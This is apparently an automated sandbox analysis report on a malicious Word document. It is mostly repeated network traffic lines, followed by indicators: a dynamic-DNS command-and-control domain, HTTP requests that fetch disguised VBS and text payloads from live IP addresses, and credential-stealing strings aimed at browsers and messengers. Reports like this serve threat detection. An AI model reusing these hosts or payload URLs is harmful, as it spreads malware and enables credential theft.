              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80

              Networking

              barindex
              C2 URLs / IPs found in malware configuration
              Source: Malware configuration extractorURLs: maveing.duckdns.org
              Uses dynamic DNS services
              Source: unknownDNS query: name: maveing.duckdns.org
              Source: screensimplethingstohandlecream[1].gif.2.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
              Source: screensimplethingstohandlecream[1].gif.2.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
              Source: screensimplethingstohandlecream.vBS.2.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
              Source: screensimplethingstohandlecream.vBS.2.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
              Source: global trafficHTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /50/HNBC.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: Joe Sandbox ViewIP Address: 198.46.176.133 198.46.176.133
              Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
              Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
              Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
              Source: global trafficHTTP traffic detected: GET /50/screensimplethingstohandlecream.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,8_2_0041B380
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{7BC26259-0221-47ED-A846-7986A7890A49}.tmpJump to behavior
              Source: global trafficHTTP traffic detected: GET /50/screensimplethingstohandlecream.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /50/HNBC.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: bhvA851.tmp.10.drString found in binary or memory: Cookie:user@www.linkedin.com/ equals www.linkedin.com (Linkedin)
              Source: RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
              Source: RegAsm.exe, RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
              Source: RegAsm.exeString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
              Source: bhvA851.tmp.10.drString found in binary or memory: www.linkedin.come equals www.linkedin.com (Linkedin)
              Source: RegAsm.exe, 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
